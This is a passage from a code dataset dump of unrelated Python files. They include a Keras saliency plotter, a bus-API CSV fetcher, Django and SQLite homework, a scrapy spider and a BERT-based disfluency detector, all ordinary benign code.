prices[prices.id == ID]['price_p3_var'].mean()\r\n df.loc[df.id== ID,'avg_price_p1_fix'] = prices[prices.id == ID]['price_p1_fix'].mean()\r\n df.loc[df.id== ID,'avg_price_p2_fix'] = prices[prices.id == ID]['price_p2_fix'].mean()\r\n df.loc[df.id== ID,'avg_price_p3_fix'] = prices[prices.id == ID]['price_p3_fix'].mean()\r\n \r\n \r\n \r\n \r\ndf.to_csv('ML_Features.csv',encoding='utf-8',index=False) \r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"Feature_Engineering.py","file_name":"Feature_Engineering.py","file_ext":"py","file_size_in_byte":5354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"555373225","text":"import os \nimport argparse\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport keras\nfrom keras import backend as K\nfrom keras.models import load_model\nfrom keras.utils import np_utils\nfrom termcolor import colored,cprint\n\nK.set_image_dim_ordering('th')\n\nbase_dir = './'\nimg_dir = os.path.join(base_dir, 'image')\nif not os.path.exists(img_dir):\n os.makedirs(img_dir)\ncmap_dir = os.path.join(img_dir, 'cmap')\nif not os.path.exists(cmap_dir):\n os.makedirs(cmap_dir)\npartial_see_dir = os.path.join(img_dir,'partial_see')\nif not os.path.exists(partial_see_dir):\n os.makedirs(partial_see_dir)\norigin_dir = os.path.join(img_dir,'origin')\nif not os.path.exists(origin_dir):\n os.makedirs(origin_dir)\n\ndef read( filename ):\n\n raw_data = pd.read_csv( filename ) \n x_test = []\n for i in range(len(raw_data)):\n feat = np.fromstring(raw_data['feature'][i],dtype=int,sep=' ')\n feat = np.reshape(feat,(1,48,48))\n x_test.append(feat) \n x_test = np.array(x_test,dtype=float) / 255\n\n return x_test\n\ndef main():\n\n parser = argparse.ArgumentParser(prog='plot_saliency.py',\n description='ML-Assignment3 visualize attention heat map.')\n parser.add_argument('--epoch', type=int, metavar='<#epoch>', default=1)\n parser.add_argument('--model', type=str, metavar='<#model>', default='./model1/whole_model.h5')\n parser.add_argument('--data', type=str, metavar='<#data>', default='./model1/train.csv')\n args = parser.parse_args()\n model_path = args.model\n data_path = args.data\n\n emotion_classifier = load_model(model_path)\n print(colored(\"Loaded model from {}\".format(model_path), 'yellow'))\n\n x = read( data_path )\n\n input_img = emotion_classifier.input \n img_ids = [1]\n\n for idx in img_ids:\n\n val_proba = emotion_classifier.predict(x[idx].reshape(-1, 1, 48, 48))\n pred = val_proba.argmax(axis=-1)\n target = K.mean(emotion_classifier.output[:,pred])\n grads = K.gradients(target, input_img)[0]\n fn = K.function([input_img, K.learning_phase()], [grads])\n\n val_grads = fn([x[idx].reshape(-1, 1, 48, 48), 0])[0].reshape(48, 48, -1)\n\n# gradient normalize \n val_grads *= -1\n val_grads = np.max(np.abs(val_grads), axis=-1, keepdims=True)\n val_grads = (val_grads - np.mean(val_grads)) / (np.std(val_grads) + 1e-5)\n val_grads *= 0.1\n val_grads += 0.5\n val_grads = np.clip(val_grads, 0, 1)\n val_grads /= np.max(val_grads)\n\n heatmap = val_grads.reshape(48, 48)\n\n# original figure\n plt.figure()\n plt.imshow(x[idx].reshape(48, 48), cmap='gray')\n plt.colorbar()\n plt.tight_layout()\n fig = plt.gcf()\n plt.draw()\n fig.savefig(os.path.join(origin_dir, '{}.png'.format(idx)), dpi=100)\n print(colored(\"Saving image {}\".format('{}.png'.format(idx)), 'red'))\n\n\n# heatmap figure\n plt.figure()\n plt.imshow(heatmap, cmap=plt.cm.jet)\n plt.colorbar()\n plt.tight_layout()\n fig = plt.gcf()\n plt.draw()\n fig.savefig(os.path.join(cmap_dir, 'cmap{}.png'.format(idx)), dpi=100)\n print(colored(\"Saving image {}\".format('cmap{}.png'.format(idx)), 'red'))\n\n# masked figure \n thres = 0.55\n see = x[idx].reshape(48, 48)\n see[np.where(heatmap <= thres)] = np.mean(see)\n plt.figure()\n plt.imshow(see,cmap='gray')\n plt.colorbar()\n plt.tight_layout()\n fig = plt.gcf()\n plt.draw()\n fig.savefig(os.path.join(partial_see_dir, 'masked{}.png'.format(idx)), dpi=100)\n print(colored(\"Saving image {}\".format('masked{}.png'.format(idx)), 'red'))\n\nif __name__ == \"__main__\":\n main()\n ","sub_path":"hw3/p4_saliency_plot.py","file_name":"p4_saliency_plot.py","file_ext":"py","file_size_in_byte":3729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225588750","text":"import sys\nimport json\nimport csv\nimport urllib2\n\n__author__='Siying Zhang'\n\n \nif __name__=='__main__':\n\t# Retrieve key and bus number from command line\n\tkey = sys.argv[1]\n\tbusLine = sys.argv[2]\n\n\t# Request for json file from url given\n\turl = urllib2.Request('http://api.prod.obanyc.com/api/siri/vehicle-monitoring.json?key=%s&VehicleMonitoringDetailLevel=calls&LineRef=%s' %(key, busLine))\n\trequest = urllib2.urlopen(url)\n\tbusData = json.load(request)['Siri']['ServiceDelivery']['VehicleMonitoringDelivery'][0]['VehicleActivity']\n\n\twith open(sys.argv[3],'wb+') as csvfile:\n\t\twriter = csv.writer(csvfile)\n\n\t\t# Take a list of input into the csv file\n\t\twriter.writerow(['Latitude', 'Longitude', 'Stop Name', 'Stop Status']) \n\n\t\tfor i in range(0,len(busData)):\n\t\t\tvehicleLoc = busData[i]['MonitoredVehicleJourney']\n\t\t\tlat = vehicleLoc['VehicleLocation']['Latitude']\n\t\t\tlon = vehicleLoc['VehicleLocation']['Longitude']\n\n\t\t\tfor j in range(0,len(vehicleLoc)):\n\t\t\t\tif not vehicleLoc['OnwardCalls']:\n\t\t\t\t\tstopName = 'N/A'\n\t\t\t\t\tstopStatus = 'N/A'\n\t\t\t\telse:\n\t\t\t\t\tstopName = vehicleLoc['OnwardCalls']['OnwardCall'][0]['StopPointName']\n\t\t\t\t\tstopStatus = vehicleLoc['OnwardCalls']['OnwardCall'][0]['Extensions']['Distances']['PresentableDistance']\n\n\t\t\t\trow = [lat, lon, stopName,stopStatus]\n\t\t\t\twriter.writerow(row)\n\n\n\n\n","sub_path":"HW2/get_bus_info.py","file_name":"get_bus_info.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497231273","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom books.models import Book\n\n\n\nclass TradeRequest(models.Model):\n STATUS_PENDING = 'pending'\n STATUS_ACCEPTED = 'accepted'\n STATUS_DECLINED = 'declined'\n STATUS_CHOICES = (\n (STATUS_PENDING, 'Pending'),\n (STATUS_ACCEPTED, 'Accepted'),\n (STATUS_DECLINED, 'Declined'),\n )\n\n created_by = models.ForeignKey(User, on_delete=models.CASCADE)\n target = models.ForeignKey(Book, on_delete=models.CASCADE)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n status = models.CharField(\n choices=STATUS_CHOICES,\n default=STATUS_PENDING,\n max_length=8,\n )\n message = models.CharField(blank=True, null=True, max_length=256)\n\n","sub_path":"backend/trade_requests/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258057256","text":"# 1) Написать контекстный менеджер для работы с SQLite DB.\nimport sqlite3\n\n\nclass dbconnection():\n def __init__(self, db_name):\n self.db_name = db_name\n\n def __enter__(self):\n self.conn = sqlite3.connect(self.db_name)\n return self.conn\n\n def __exit__(self, type, value, traceback):\n self.conn.close()\n\n\n\n# 2) Создать базу данных студентов. У студента есть факультет,\n# группа, оценки, номер студенческого билета. Написать программу,\n# с двумя ролями: Администратор, Пользователь. Администратор\n# может добавлять, изменять существующих студентов.\n# Пользователь может получать список отличников, список всех\n# студентов, искать студентов по по номеру студенческого, получать\n# полную информацию о конкретном студенте (включая оценки,\n# факультет)\n\n\n\nclass user:\n\n @classmethod\n def get_best_students(cls):\n with dbconnection('univer.db') as conn:\n cursor = conn.cursor()\n cursor.execute('select name ,Surname from Students where st_id in ( select st_id from marks group '\n 'by St_id having avg(mark)=5)')\n print(list((cursor.fetchmany(100))))\n\n @classmethod\n def get_all_students(cls):\n with dbconnection('univer.db') as conn:\n cursor = conn.cursor()\n cursor.execute('select name, Surname from Students')\n print(list((cursor.fetchmany(100))))\n\n @classmethod\n def get_student_by_std_id(cls,id_):\n with dbconnection('univer.db') as conn:\n cursor = conn.cursor()\n\n cursor.execute('select name, Surname from Students where St_id = ?', (id_,))\n print(list((cursor.fetchmany(100))))\n\n @classmethod\n def get_full_info(cls,id_):\n with dbconnection('univer.db') as conn:\n cursor = conn.cursor()\n cursor.execute('select name,Surname,Faculty,Gr_no from students where St_id = ?', (id_,))\n print((cursor.fetchmany(100)))\n with dbconnection('univer.db') as conn:\n cursor = conn.cursor()\n cursor.execute('select St_id,Subject,Mark from Marks where St_id = ?', (id_,))\n print((cursor.fetchmany(100)))\n\n\nclass admin(user):\n\n @classmethod\n def update_students(cls,name,surname,faculty,gr_no,St_id):\n with dbconnection('univer.db') as conn:\n cursor = conn.cursor()\n cursor.execute('update students set name = ?,surname =?,faculty=?,gr_no=? where st_id=?', (name,surname,faculty,gr_no,St_id,))\n conn.commit()\n\n @classmethod\n def insert_students(cls,name,surname,faculty,gr_no,St_id):\n with dbconnection('univer.db') as conn:\n cursor = conn.cursor()\n cursor.execute('insert into students (name,surname,faculty,gr_no,St_id) values(?,?,?,?,?)', (name,surname,faculty,gr_no,St_id,))\n conn.commit()\n\n# user.get_all_students()\n# user.get_student_by_std_id()\n# user.get_full_info(40586)\n# admin.insert_students()\n# admin.update_students()\n\n","sub_path":"Lesson7/Lesson7_dz.py","file_name":"Lesson7_dz.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446496069","text":"from openpack.basepack import DefaultNamed, Part\nimport mimetypes\nimport warnings\n\n\nclass ImagePart(DefaultNamed, Part):\n rel_type = (\n 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image'\n )\n default_name = '/word/media/image.jpeg'\n\n \"\"\"\n ECMA-376 3nd Edition Part 1 Page 170 states:\n A producer that wants interoperability should use\n one of the following standard formats:\n - image/png ISO/IEC 15948:2003, http://www.libpng.org/pub/png/spec/\n - image/jpeg, http://www.w3.org/Graphics/JPEG\n \"\"\"\n interoperability_types = ['image/png', 'image/jpeg']\n\n def _set_name(self, name):\n super(ImagePart, self)._set_name(name)\n self._guess_mime_type(name)\n\n name = property(Part._get_name, _set_name)\n\n def _guess_mime_type(self, name):\n \"\"\"\n When setting the name, guess the mime type from the extension.\n Set the content_type for this instance only if a content_type is not\n already defined (this allows an instance to have a content-type pre-\n defined or for a subclass to define the content type, and it will not\n be overridden by the guessed type).\n \"\"\"\n ct, _ = mimetypes.guess_type(name)\n if ct and not self.content_type:\n self.content_type = ct\n if ct not in self.interoperability_types:\n warnings.warn(\n \"Image type %s is not guaranteed to be interoperable\" % ct\n )\n","sub_path":"paradocx/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"397103969","text":"# coding=utf-8\n\"\"\"Tests for generating code from a non-annotated ast.\"\"\"\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport ast\nimport textwrap\nimport unittest\n\nimport pasta\n\n\nclass AutoFormatTest(unittest.TestCase):\n \"\"\"Tests that code without formatting info is printed neatly.\"\"\"\n\n def test_imports(self):\n src = 'from a import b\\nimport c, d\\nfrom ..e import f, g\\n'\n t = ast.parse(src)\n self.assertEqual(src, pasta.dump(t))\n\n def test_function(self):\n t = ast.parse('def a(b, c): d')\n self.assertEqual('def a(b, c):\\n d\\n', pasta.dump(t))\n\n def test_functions_nested(self):\n src = textwrap.dedent('''\\\n def a(b, c):\n def d(e): f\n g\n def h(): i\n j\n ''')\n formatted_src = textwrap.dedent('''\\\n def a(b, c):\n def d(e):\n f\n g\n def h():\n i\n j\n ''')\n t = ast.parse(src)\n self.assertEqual(formatted_src, pasta.dump(t))\n\n def test_class(self):\n t = ast.parse('class A(b, c): d')\n self.assertEqual('class A(b, c):\\n d\\n', pasta.dump(t))\n\n def test_classes_nested(self):\n src = textwrap.dedent('''\\\n class A(b, c):\n def d(self, e): f\n class G: h\n ''')\n formatted_src = textwrap.dedent('''\\\n class A(b, c):\n def d(self, e):\n f\n class G():\n h\n ''')\n t = ast.parse(src)\n self.assertEqual(formatted_src, pasta.dump(t))\n\n\ndef suite():\n result = unittest.TestSuite()\n result.addTests(unittest.makeSuite(AutoFormatTest))\n return result\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"pasta/base/codegen_test.py","file_name":"codegen_test.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"208312207","text":"import os\nfrom string import punctuation\nimport warnings\nfrom transformers import DataCollatorForTokenClassification\nimport torch\nimport json\nfrom transformers import AutoModelForTokenClassification, TrainingArguments, Trainer\nfrom transformers import AutoTokenizer, BertTokenizer, DistilBertTokenizer\nimport numpy as np\nfrom scipy.special import softmax\nimport nltk\nimport streamlit as st\nfrom stop_words import get_stop_words\n\nSTOP_WORDS = get_stop_words('en') + ['ah', 'oh', 'eh', 'um', 'uh', 'one\\'s', 'it\\'ll', 'whatever', 'he\\'ll']\n\n\n# class bcolors:\n# HEADER = '\\033[95m'\n# OKBLUE = '\\033[94m'\n# OKCYAN = '\\033[96m'\n# OKGREEN = '\\033[92m'\n# WARNING = '\\033[93m'\n# FAIL = '\\033[91m'\n# ENDC = '\\033[0m'\n# BOLD = '\\033[1m'\n# UNDERLINE = '\\033[4m'\n\n\nwarnings.simplefilter('ignore')\n\nbad_punct = [] # [x for x in punctuation if x != '\\'']\n\n\ndef tokenize_text(text):\n text = text.strip().lower()\n tokens = nltk.word_tokenize(text)\n return tokens\n\n\ndef replace_multi(txt, symbs):\n for s in symbs:\n txt = txt.replace(s, '')\n return txt\n\n\ndef prepare_tokens(txt):\n txt = replace_multi(txt, bad_punct)\n txt = txt.strip().lower()\n tokens = tokenizer(txt)\n return tokens\n\n\ndef slice_tokens(tokens, max_window_size=100, step=10):\n slices = []\n tokens = tokens['input_ids'][1:-1] # remove bos/eos\n positions = list(range(len(tokens)))\n sliced_positions = []\n start_pos = 0\n\n at_the_end = False\n\n while start_pos < len(tokens) - max_window_size + 1 or not at_the_end:\n if start_pos >= len(tokens) - max_window_size + 1:\n at_the_end = True\n lb = start_pos\n ub = min(start_pos + max_window_size, len(tokens))\n while lb >= 0:\n if not tokenizer.decode([tokens[lb]])[0].startswith('#'):\n break\n lb -= 1\n while ub < len(tokens):\n if not tokenizer.decode([tokens[ub - 1]])[0].endswith('#'):\n break\n ub += 1\n tokens_slice = [101] + tokens[lb:ub] + [102]\n attention_mask = [1 for i in range(len(tokens_slice))]\n slices.append({\n 'input_ids': tokens_slice,\n 'attention_mask': attention_mask,\n 'labels': [0 for i in range(len(tokens_slice))]\n })\n sliced_positions.append(positions[lb:ub])\n start_pos += step\n return slices, sliced_positions\n\n\ndef read_text(fname, delim='.', remove_punct=True):\n with open(fname) as f:\n text = f.read().lower()\n sentences = text.split(delim)\n if remove_punct:\n for i in range(len(sentences)):\n sentences[i] = sentences[i].strip().strip(punctuation).strip()\n sentences = [s for s in sentences if s]\n\n return sentences\n\n\ndef process_text(text, delim='.', remove_punct=True):\n text = text.lower()\n sentences = text.split(delim)\n if remove_punct:\n for i in range(len(sentences)):\n sentences[i] = sentences[i].strip().strip(punctuation).strip()\n sentences = [s for s in sentences if s]\n\n return sentences\n\n\ndef read_jsonl(text):\n def jlopen(txt):\n samples = []\n for l in txt.split('\\n'):\n l = l.strip()\n if not l:\n continue\n samples.append(json.loads(l))\n return samples\n scribd = jlopen(text)\n recovered_tokens = []\n true_predictions = []\n for s in scribd:\n sent = []\n labels = []\n for w in s['Words']:\n label = int(w['Confidence'] <= -2.)\n tokens = nltk.word_tokenize(w['Word'].lower())\n\n new_tokens = [t.split('\\'') for t in tokens]\n new_tokens = [' \\' '.join(tt).split() for tt in new_tokens]\n tokens = sum(new_tokens, [])\n\n labs = [label for t in tokens]\n sent.extend(tokens)\n labels.extend(labs)\n recovered_tokens.append(sent)\n true_predictions.append(labels)\n sentences = [' '.join(rt) for rt in recovered_tokens]\n return sentences, recovered_tokens, true_predictions\n\n\nfrom string import digits, ascii_lowercase\nfrom copy import deepcopy\n\n\ndef glue_tokens(tokens, suspictious_indicators):\n new_tokens, new_labels = [], []\n\n for token, label_idx in zip(tokens, suspictious_indicators):\n if not token.startswith(\"_\"):\n new_tokens[-1] = new_tokens[-1] + token[2:]\n new_labels[-1] = new_labels[-1] or label_idx\n else:\n new_labels.append(label_idx)\n new_tokens.append(token)\n return new_labels, new_tokens\n\n\ndef expand_ranges(tokens, indicators):\n N = len(tokens)\n previous_indicators = deepcopy(indicators)\n for i, (tok, ind) in enumerate(zip(tokens, previous_indicators)):\n if ind == 1 and tok in punctuation and tok != '\\'':\n indicators[i] = 0\n elif tok == '\\'':\n # print(tokens[i - 1:i + 2])\n repl = False\n if i > 0 and all(x in ascii_lowercase for x in tokens[i - 1]):\n indicators[i - 1] = 1\n repl = True\n if i + 1 < N and tokens[i + 1] in ['ll', 's', 've', 't', 'm', 're']:\n indicators[i + 1] = 1\n repl = True\n if repl:\n indicators[i] = 1\n elif ind == 1 and i > 0 and indicators[i - 1] == 0 and tokens[i - 1] in STOP_WORDS:\n indicators[i - 1] = 1\n\n for i, (tok, ind) in enumerate(zip(tokens, previous_indicators)):\n if i > 0 and i + 1 < N and previous_indicators[i - 1] == 1 and previous_indicators[i + 1] == 1 and \\\n tok not in punctuation and indicators[i] == 0 and tok == '\\'':\n indicators[i] = 1\n\n return tokens, indicators\n\n\ndef make_masked_text(tokens, indicators):\n l, r = 0, 0\n N = len(tokens)\n new_tokens = []\n original_phrases = []\n while l < N:\n if indicators[l] == 0:\n new_tokens.append(tokens[l])\n l += 1\n else:\n r = l\n while r < N and indicators[r] == 1:\n r += 1\n new_tokens.append('')\n original_phrases.append(tokens[l:r])\n l = r\n text = ' '.join(new_tokens)\n return text, original_phrases\n\n\nclass SentenceWithContext:\n def __init__(self, sentence, left_context, right_context):\n self.sentence = sentence\n self.left_context = left_context\n self.right_context = right_context\n\n def apply_tokenization(self, tokenizer):\n tokenization_result = {'input_ids': [], 'attention_mask': []}\n sentence_tokens = tokenizer(self.sentence)\n if self.left_context:\n left_context_tokens = tokenizer(self.left_context)\n else:\n left_context_tokens = dict.fromkeys(tokenization_result.keys(),\n [tokenizer.cls_token_id, tokenizer.sep_token_id])\n if self.right_context:\n right_context_tokens = tokenizer(self.right_context)\n else:\n right_context_tokens = dict.fromkeys(tokenization_result.keys(),\n [tokenizer.cls_token_id, tokenizer.sep_token_id])\n\n for tokenizer_outputs in [left_context_tokens, sentence_tokens, right_context_tokens]:\n for k, v in tokenization_result.items():\n v.extend(tokenizer_outputs[k][1:-1])\n\n self.left_border = len(left_context_tokens['input_ids']) - 1\n self.right_border = self.left_border + len(sentence_tokens['input_ids']) - 2\n\n tokenization_result['input_ids'] = \\\n [tokenizer.cls_token_id] + tokenization_result['input_ids'] + [tokenizer.sep_token_id]\n tokenization_result['labels'] = [0 for _ in range(len(tokenization_result['input_ids']))]\n tokenization_result['attention_mask'] = [1] + tokenization_result['attention_mask'] + [1]\n self.tokenization_result = tokenization_result\n return self.tokenization_result\n\n def match_result_with_predictions(self, predictions):\n self.true_tokens = self.tokenization_result['input_ids'][self.left_border:self.right_border]\n self.true_predictions = predictions[self.left_border:self.right_border]\n return self.true_tokens, self.true_predictions\n\n\ndef apply_set_of_trainers(trainers_collection, tokens_batch, sentences_with_contexts):\n central_tokens, true_predictions = None, None\n for trainer, threshold in trainers_collection:\n raw_predictions, labels, _ = trainer.predict(tokens_batch)\n # predictions = np.argmax(raw_predictions, axis=2)\n raw_preds_sf = softmax(raw_predictions, axis=2)\n if raw_preds_sf.shape[2] != 2:\n predictions = np.argmax(raw_predictions, axis=2)\n predictions = (predictions != 0).astype(np.int)\n else:\n predictions = (raw_preds_sf[:, :, 1] > threshold).astype(np.int)\n\n # Remove ignored index (special tokens)\n true_predictions_ = [\n [label_list[p] for (p, l) in zip(prediction, label) if l != -100]\n for prediction, label in zip(predictions, labels)\n ]\n central_tokens_ = [s.match_result_with_predictions(true_predictions_[i])\n for i, s in enumerate(sentences_with_contexts)]\n central_tokens_, true_predictions_ = zip(*central_tokens_)\n if central_tokens is None and true_predictions is None:\n central_tokens = central_tokens_\n true_predictions = true_predictions_\n else:\n for i in range(len(true_predictions_)):\n for j in range(len(true_predictions_[i])):\n if true_predictions_[i][j] == 'wrong_word':\n true_predictions[i][j] = 'wrong_word'\n return central_tokens, true_predictions\n\n\n@st.cache\ndef download_model(url, filename):\n import requests\n response = requests.get(url)\n\n totalbits = 0\n if response.status_code == 200:\n with open(os.path.join('models', filename), 'wb') as f:\n for chunk in response.iter_content(chunk_size=1024):\n if chunk:\n totalbits += 1024\n print(\"Downloaded\", totalbits // 1024, \"KB...\")\n f.write(chunk)\n\n\nlabel_list = ['none', 'wrong_word']\n\n# versions = [\n# ('models/distilbert_spoiled_ner_09_05__00_38.pth', 0.5),\n# ('models/distilbert_base_cased_10pcnt_missspel_medium_dataset_tuned_state_dict_222.pth', 0.5),\n# # 'trained_models/distilbert_spoiled_ner_08_05__13_23.pth',\n# ]\n\nwith open('config.json') as fl:\n config = json.load(fl)\n versions = config['versions']\n\ntrainers = []\nfor version_info in versions:\n model_checkpoint = version_info.get('model_type', 'distilbert-base-uncased')\n tokenizer = AutoTokenizer.from_pretrained(model_checkpoint)\n data_collator = DataCollatorForTokenClassification(tokenizer)\n # download_model(version_info['link'], version_info['name'])\n if 'label_list' in version_info:\n n_labels = len(version_info['label_list'])\n else:\n n_labels = len(label_list)\n model = AutoModelForTokenClassification.from_pretrained(model_checkpoint, num_labels=n_labels)\n args = TrainingArguments(\n \"test-wwd\",\n evaluation_strategy = \"epoch\",\n learning_rate=2e-5,\n per_device_train_batch_size=8,\n per_device_eval_batch_size=8,\n num_train_epochs=3,\n weight_decay=0.01,\n )\n trainer = Trainer(\n model,\n args,\n data_collator=data_collator,\n tokenizer=tokenizer,\n )\n\n model.load_state_dict(\n torch.load(os.path.join('models', version_info['name']), map_location=config['device']))\n model = model.eval()\n trainers.append((trainer, version_info['threshold']))\n","sub_path":"disfluency_detector.py","file_name":"disfluency_detector.py","file_ext":"py","file_size_in_byte":11752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"129175084","text":"# -*- coding: utf-8 -*-\n\"\"\"implement a polynomial basis function.\"\"\"\n\nimport numpy as np\n\n\ndef build_poly(x, degree):\n \"\"\" BUILD_POLY Polynomial basis functions for input data x, for j=0 up to j=degree\n Takes an input vector x and returns a polynomial basis of degree j=degree\n\n INPUTS:\n x (N x 1): an array of the output variable with only 1 feature\n degree: The highest degree of the basis\n\n OUTPUTS:\n basis (N x degree): a polynomial basis on the output variable\n \"\"\"\n x_expanded = np.tile(x,[degree+1,1]).T #expands the variable to degree of basis\n powers = np.tile(np.arange(0,degree+1), [len(x),1]) #create the array of powers to raise\n basis = np.power(x_expanded, powers)\n \n return basis\n","sub_path":"labs/ex04/template/build_polynomial.py","file_name":"build_polynomial.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"128169997","text":"class Integer(Number):\n \"\"\"\n Integer attribute.\n\n \"\"\"\n def __init__(self, **kwargs):\n super(Integer, self).__init__(**kwargs)\n self._type = int\n tmp_def = kwargs.get('default', self._type())\n if tmp_def:\n self._default = self._type(tmp_def)\n tmp_min = kwargs.get('minimum')\n if tmp_min:\n self._minimum = self._type(tmp_min)\n tmp_max = kwargs.get('maximum')\n if tmp_max:\n self._maximum = self._type(tmp_max)\n tmp_val = kwargs.get('value', self._type())\n if not tmp_val and self._default:\n self._value = self._default\n elif not tmp_val:\n self._value = self._type()\n else:\n self._value = tmp_val\n\n\n","sub_path":"python/config/core/attributes/integer.py","file_name":"integer.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"517004482","text":"from animals import Animal\nfrom attributes import Birds\nfrom attributes import Flying\n\nclass NeneGoose(Animal, Birds, Flying):\n def __init__(self):\n Animal.__init__(self, 'Nene Goose', ['Leaves', 'Seeds', 'Fruit', 'Flowers'], ['Grassland'], 7)\n Flying.__init__(self)\n Birds.__init__(self)\n\n def __str__(self):\n return super().__str__() + '\"HONK!\"'\n","sub_path":"animals/nene_goose.py","file_name":"nene_goose.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298661539","text":"import scrapy\nfrom functools import reduce\n\nclass addmission_spider(scrapy.Spider):\n name = \"admission_info\"\n\n def start_requests(self):\n urls = [\n \"https://www.i.nagoya-u.ac.jp/gs/entranceexamination/\",\n\n\n ]\n\n for url in urls:\n yield scrapy.Request(url=url,callback=self.select_ad_doc)\n\n def parse(self, response):\n filename = 'test.html'\n with open(filename, 'wb') as f:\n f.write(response.body)\n #self.log('type of response', type(response))\n self.log('saved')\n\n def select_ad_doc(self, response):\n filename = 'test2.html'#response.url\n keywords = ['募集要項',\n '入学試験',\n ]\n f = open(filename, 'w')\n for i in response.css('*'):\n if reduce(lambda a, b: a or b, list(map(lambda x: x in i.get(), keywords))):\n #text_0 = i.css('::text').get() + '\\n'\n try:\n text_1 = response.urljoin(i.attrib['href']) + '\\n'\n f.write(text_1)\n except KeyError:\n continue\n self.log('test')\n f.close()\n\n\n","sub_path":"get_addmission_info/get_addmission_info/spiders/addmission_info_spider.py","file_name":"addmission_info_spider.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"75004999","text":"t = int(raw_input())\nfor tc in range(1, t+1):\n k, c, s = [int(x) for x in raw_input().split()]\n positions = []\n k_to_check = 0\n while k_to_check < k:\n position = 0\n for i in xrange(c):\n position = k * position\n position += min(k_to_check, k-1)\n k_to_check += 1\n positions.append(position)\n if len(positions) > s:\n print(\"Case #%d: IMPOSSIBLE\" % (tc))\n else:\n print(\"Case #%d: %s\" % (tc, \" \".join([str(pos+1) for pos in positions])))\n\n\n","sub_path":"codes/CodeJamCrawler/16_0_4_neat/16_0_4_robket_fractal.py","file_name":"16_0_4_robket_fractal.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"38315546","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n# Author: zhangsongpo\r\n# Email: zhangsp.520@qq.com\r\n# Description: 第四篇练习题第3题\r\n# Date: 2017年9月4日22:57:40\r\n# 写函数,判断用户传入的对象(字符串、列表、元组)长度是否大于5。\r\n\r\n# # note:一下是我的实现方法\r\n# def func_strlenth(str):\r\n# strlenth = len(str)\r\n# if strlenth > 5:\r\n# print(\"字符串%s的长度大于5\" % str)\r\n# else:\r\n# print(\"字符串%s的长度不大于5...\" % str)\r\n# def func_listlenth(list):\r\n# listlenth = len(list)\r\n# if listlenth > 5:\r\n# print(\"列表%s的长度大于5\" % list)\r\n# else:\r\n# print(\"列表%s的长度不大于5...\" % list)\r\n# def func_tuplenth(tuple):\r\n# tuplenth = len(tuple)\r\n# if tuplenth > 5:\r\n# print(\"元组的长度大于5\")\r\n# else:\r\n# print(\"元组的长度不大于5...\")\r\n#\r\n# str1 = 'zhangsongpo'\r\n# list1 = ['Z','S','P']\r\n# tup1 = ('z','h','a','n','g','s','p',17)\r\n# print(tup1)\r\n# func_strlenth(str1)\r\n# func_listlenth(list1)\r\n# func_tuplenth(tup1)\r\n\r\n# 武沛齐的实现方式\r\n\r\ndef func_lenth(parameter):\r\n if isinstance(parameter, str) or isinstance(parameter, list) or isinstance(parameter, tuple):\r\n if len(parameter) > 5:\r\n return True\r\n else:\r\n return False\r\n else:\r\n print(\"请输入\\\"字符串\\\",\\\"列表\\\"或\\\"元组\\\".\")\r\n return None\r\n\r\n# 因为数字无法使用len()计算,所以需要先通过isinstance()将不是字符串、元组、列表的变量过滤掉\r\na = 123\r\nstr1 = 'zhangsongpo'\r\nlist1 = ['Z','S','P']\r\ntup1 = ('z','h','a','n','g','s','p',17)\r\n\r\nprint(func_lenth(a))\r\nprint(func_lenth(str1))\r\nprint(func_lenth(list1))\r\nprint(func_lenth(tup1))\r\n\r\n\r\n\r\n","sub_path":"Study/20170829LaonanhaiPython/d3/day6/4_prictice_3.py","file_name":"4_prictice_3.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"559215006","text":"from __future__ import absolute_import\nimport dj_database_url\n\n# SECURITY WARNING: don't run with debug turned on in 